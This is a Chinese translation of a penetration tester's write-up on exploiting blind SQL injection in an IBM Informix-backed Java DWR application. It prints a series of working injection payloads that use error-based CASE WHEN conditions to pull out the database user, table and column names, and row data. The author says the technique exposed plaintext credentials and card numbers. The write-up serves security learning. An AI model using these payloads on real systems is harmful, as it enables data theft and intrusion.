Informix數據庫SQL注入實戰
在最近的應用程序滲透測試中,我發現一個有意思的sql漏洞(SQLI中)。
SQLI出現這種情況的原因:
1.開發中帶來的問題
2.數據庫正在使用
下面,我來介紹我遇到的問題以及如何解決并dump數據庫。該應用程序使用一種名為DWR后端的JAVA遠程調用框架,系統調用是這樣的:
這是位于C0-param1的參數,從表面上看起來很容易,因為它給了詳細的錯誤信息,當一個單引號被添加到參數尾部時,會得到以下錯誤信息:“java.sql.SQLException: A syntax error has occurred.”(語法錯誤)
c0-param1參數控制有多少結果從數據庫中檢索出來,這注射點出現在類似于mssql的TOP keyword位置和MYSQL的Limit。我認為SQLI跑MSSQL庫比MYSQL更合適。我添加一系列請求如下圖所示:
執行查詢后,得到一個錯誤信息:“java.sql.SQLException: The column (card_no) must be in the GROUP BY list.”數據庫系統是IBM的Informix,我對Informix了解甚少,所以還得一個函數一個函數地查IBM的文檔。
現在知道這是Informix,能幫助我們對次注射是怎么產生的,第一個子句,類似TOP和LIMIT,查詢起來是這樣的:
c0-param1=string:10 (CASE WHEN SUBSTR((SELECT USER FROM SYSTABLES WHERE TABID = 1), 1, 1) = 'a' THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),
如果條件為真(即當前用戶名的第一個字母為'a'),查詢將返回結果,反則會報錯,因為子查詢(SELECT 1 FROM SYSTABLES)會返回多個結果。然而,又有難題了,不能使用等號,通過替換,使用以下語句:
c0-param1=string:10 (CASE WHEN SUBSTR((SELECT USER FROM SYSTABLES WHERE TABID > 0 AND TABID < 2), 1, 1) LIKE 'a' THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),
有了這些注射知識和概念就好整多了,掏出sqlmap(從我的同事那里弄到了些小技巧,而且觀摩了他的帖子“Sqlmap的高級注入技巧”),Sqlmap的確是很好的工具,作者是今年在大會上認識的一個很不錯的家伙寫的。。。好像跑題了。不過遺憾的是,Sqlmap不支持Informix,所以我不得不自己寫工具了:
獲取表名的長度:
c0-param1=string:10 (CASE WHEN CHAR_LENGTH((SELECT TABNAME FROM SYSTABLES WHERE TABID > 0 AND TABID < 2)) > 1 THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),
獲取表名:
c0-param1=string:10 (CASE WHEN SUBSTR((SELECT TABNAME FROM SYSTABLES WHERE TABID > 0 AND TABID < 2), 1, 1) LIKE 'a' THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),
獲取有表中有多少列:
c0-param1=string:10 (CASE WHEN (SELECT NCOLS FROM SYSTABLES WHERE TABID > 0 AND TABID < 2) > 1 THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),
獲取列名長度:
c0-param1=string:10 (CASE WHEN CHAR_LENGTH((SELECT COLNAME FROM SYSCOLUMNS WHERE (TABID > 0 AND TABID < 2) AND (COLNO > 0 AND COLNO < 2))) > 1 THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),
獲取列名:
c0-param1=string:10 (CASE WHEN SUBSTR((SELECT COLNAME FROM SYSCOLUMNS WHERE (TABID > 0 AND TABID < 2) AND (COLNO > 0 AND COLNO < 2)), 1, 1) LIKE 'a' THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),
通過一個小研究,我發現Informix的表實際上有一個隱藏很深的列名:ROWID,每一行都存在一個這樣的序列號。然而,這些ROWID可以分散,刪除或插入到表。為了找到包含數據的ROWID,我調用一個名為NVL的函數,這個函數可以返回不同的結果,具體取決于第一個參數是否為NULL。最終找到一處可能總是包含數據的一列,語句:
c0-param1=string:10 (NVL((SELECT username FROM users WHERE ROWID > 0 AND ROWID < 2), (SELECT 1 FROM SYSTABLES))), c0-param1=string:10 (CASE WHEN SUBSTR((SELECT username FROM users WHERE ROWID > 0 AND ROWID < 1), 1, 1) LIKE 'a' THEN 1 ELSE (SELECT 1 FROM SYSTABLES) END),
通過這種方法,能夠發現純文本應用程序憑據,明文銀行SFTP憑證和未加密的支付卡號碼。
隨著這一成功,明白了以前對Informix數據庫想知道的。
原文地址:http://blog.spiderlabs.com/2013/12/the-case-of-an-obscure-injection.html